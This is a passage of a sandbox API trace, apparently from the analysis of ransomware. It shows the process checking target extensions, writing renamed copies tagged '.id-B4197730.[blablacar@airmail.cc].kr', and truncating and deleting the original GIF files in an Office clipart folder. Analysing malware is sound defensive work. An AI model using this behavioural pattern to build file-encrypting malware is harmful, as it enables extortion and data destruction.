(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0103.514] lstrlenW (lpString=".jpg") returned 4 [0103.514] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.514] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.514] lstrlenW (lpString="AG00057_.GIF") returned 12 [0103.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.372] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=11891) returned 1 [0104.372] CloseHandle (hObject=0x364) returned 1 [0104.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0104.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.372] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.372] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.373] GetLastError () returned 0x0 [0104.373] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x2e73, lpOverlapped=0x0) returned 1 [0104.374] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x2e80, lpOverlapped=0x0) returned 1 [0104.375] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.376] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.376] SetEndOfFile (hFile=0x384) returned 1 [0104.376] CloseHandle (hObject=0x384) returned 1 [0104.380] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.380] SetEndOfFile (hFile=0x364) returned 1 [0104.381] CloseHandle (hObject=0x364) returned 1 [0104.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0104.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.382] lstrlenW (lpString=".doc") returned 4 [0104.382] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.382] lstrlenW (lpString=".docx") returned 5 [0104.382] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.382] lstrlenW (lpString=".pdf") returned 4 [0104.382] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.382] lstrlenW (lpString=".xls") returned 4 [0104.382] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.382] lstrlenW (lpString=".xlsx") returned 5 [0104.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.382] lstrlenW (lpString=".ppt") returned 4 [0104.382] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.382] lstrlenW (lpString=".zip") returned 4 [0104.382] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.382] lstrlenW (lpString=".rar") returned 4 [0104.382] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.382] lstrlenW (lpString=".bz2") returned 4 [0104.382] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.382] lstrlenW (lpString=".7z") returned 3 [0104.382] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.382] lstrlenW (lpString=".dbf") returned 4 [0104.382] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.382] lstrlenW (lpString=".1cd") returned 4 [0104.382] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.383] lstrlenW (lpString=".jpg") returned 4 [0104.383] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.383] lstrlenW (lpString=".doc") returned 4 [0104.383] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.383] lstrlenW (lpString=".docx") returned 5 [0104.383] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.383] lstrlenW (lpString=".pdf") returned 4 [0104.383] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.383] lstrlenW (lpString=".xls") returned 4 [0104.383] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.383] lstrlenW (lpString=".xlsx") returned 5 [0104.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.383] lstrlenW (lpString=".ppt") returned 4 [0104.383] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.383] lstrlenW (lpString=".zip") returned 4 [0104.383] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.383] lstrlenW (lpString=".rar") returned 4 [0104.383] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.383] lstrlenW (lpString=".bz2") returned 4 [0104.383] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.383] lstrlenW (lpString=".7z") returned 3 [0104.383] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.383] lstrlenW (lpString=".dbf") returned 4 [0104.383] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.383] lstrlenW (lpString=".1cd") returned 4 [0104.384] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68 [0104.384] lstrlenW (lpString=".jpg") returned 4 [0104.384] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.384] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.384] lstrlenW (lpString="AG00090_.GIF") returned 12 [0104.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.385] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=517) returned 1 [0104.385] CloseHandle (hObject=0x364) returned 1 [0104.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0104.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.386] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.386] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.386] GetLastError () returned 0x0 [0104.386] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x205, lpOverlapped=0x0) returned 1 [0104.387] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x210, lpOverlapped=0x0) returned 1 [0104.388] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.388] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.391] SetEndOfFile (hFile=0x384) returned 1 [0104.392] CloseHandle (hObject=0x384) returned 1 [0104.392] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.392] SetEndOfFile (hFile=0x364) returned 1 [0104.393] CloseHandle (hObject=0x364) returned 1 [0104.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0104.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.394] lstrlenW (lpString=".doc") returned 4 [0104.394] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.394] lstrlenW (lpString=".docx") returned 5 [0104.394] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.394] lstrlenW (lpString=".pdf") returned 4 [0104.394] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.394] lstrlenW (lpString=".xls") returned 4 [0104.394] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.394] lstrlenW (lpString=".xlsx") returned 5 [0104.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.394] lstrlenW (lpString=".ppt") returned 4 [0104.394] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.394] lstrlenW (lpString=".zip") returned 4 [0104.394] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.394] lstrlenW (lpString=".rar") returned 4 [0104.394] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.394] lstrlenW (lpString=".bz2") returned 4 [0104.394] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.394] lstrlenW (lpString=".7z") returned 3 [0104.395] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.395] lstrlenW (lpString=".dbf") returned 4 [0104.395] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.395] lstrlenW (lpString=".1cd") returned 4 [0104.395] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.395] lstrlenW (lpString=".jpg") returned 4 [0104.395] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.395] lstrlenW (lpString=".doc") returned 4 [0104.395] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.395] lstrlenW (lpString=".docx") returned 5 [0104.395] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.395] lstrlenW (lpString=".pdf") returned 4 [0104.395] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.395] lstrlenW (lpString=".xls") returned 4 [0104.395] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.396] lstrlenW (lpString=".xlsx") returned 5 [0104.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.396] lstrlenW (lpString=".ppt") returned 4 [0104.396] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.396] lstrlenW (lpString=".zip") returned 4 [0104.396] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.396] lstrlenW (lpString=".rar") returned 4 [0104.396] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.396] lstrlenW (lpString=".bz2") returned 4 [0104.396] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.396] lstrlenW (lpString=".7z") returned 3 [0104.396] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.396] lstrlenW (lpString=".dbf") returned 4 [0104.396] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.396] lstrlenW (lpString=".1cd") returned 4 [0104.396] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0104.396] lstrlenW (lpString=".jpg") returned 4 [0104.396] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.396] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.396] lstrlenW (lpString="AG00092_.GIF") returned 12 [0104.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.397] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=502) returned 1 [0104.397] CloseHandle (hObject=0x364) returned 1 [0104.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0104.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.397] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.397] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.398] GetLastError () returned 0x0 [0104.398] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1f6, lpOverlapped=0x0) returned 1 [0104.399] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x200, lpOverlapped=0x0) returned 1 [0104.399] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.399] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.400] SetEndOfFile (hFile=0x384) returned 1 [0104.400] CloseHandle (hObject=0x384) returned 1 [0104.401] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.401] SetEndOfFile (hFile=0x364) returned 1 [0104.402] CloseHandle (hObject=0x364) returned 1 [0104.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0104.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.403] lstrlenW (lpString=".doc") returned 4 [0104.403] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.403] lstrlenW (lpString=".docx") returned 5 [0104.403] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.403] lstrlenW (lpString=".pdf") returned 4 [0104.403] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.403] lstrlenW (lpString=".xls") returned 4 [0104.403] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.403] lstrlenW (lpString=".xlsx") returned 5 [0104.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.403] lstrlenW (lpString=".ppt") returned 4 [0104.403] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.403] lstrlenW (lpString=".zip") returned 4 [0104.403] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.403] lstrlenW (lpString=".rar") returned 4 [0104.403] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.403] lstrlenW (lpString=".bz2") returned 4 [0104.403] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.403] lstrlenW (lpString=".7z") returned 3 [0104.403] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.403] lstrlenW (lpString=".dbf") returned 4 [0104.403] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.403] lstrlenW (lpString=".1cd") returned 4 [0104.403] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.403] lstrlenW (lpString=".jpg") returned 4 [0104.403] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.404] lstrlenW (lpString=".doc") returned 4 [0104.404] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.404] lstrlenW (lpString=".docx") returned 5 [0104.404] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.404] lstrlenW (lpString=".pdf") returned 4 [0104.404] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.404] lstrlenW (lpString=".xls") returned 4 [0104.404] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.404] lstrlenW (lpString=".xlsx") returned 5 [0104.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.404] lstrlenW (lpString=".ppt") returned 4 [0104.404] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.404] lstrlenW (lpString=".zip") returned 4 [0104.404] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.404] lstrlenW (lpString=".rar") returned 4 [0104.404] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.404] lstrlenW (lpString=".bz2") returned 4 [0104.404] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.404] lstrlenW (lpString=".7z") returned 3 [0104.404] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.404] lstrlenW (lpString=".dbf") returned 4 [0104.404] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.404] lstrlenW (lpString=".1cd") returned 4 [0104.404] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0104.404] lstrlenW (lpString=".jpg") returned 4 [0104.404] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.405] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.405] lstrlenW (lpString="AG00103_.GIF") returned 12 [0104.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 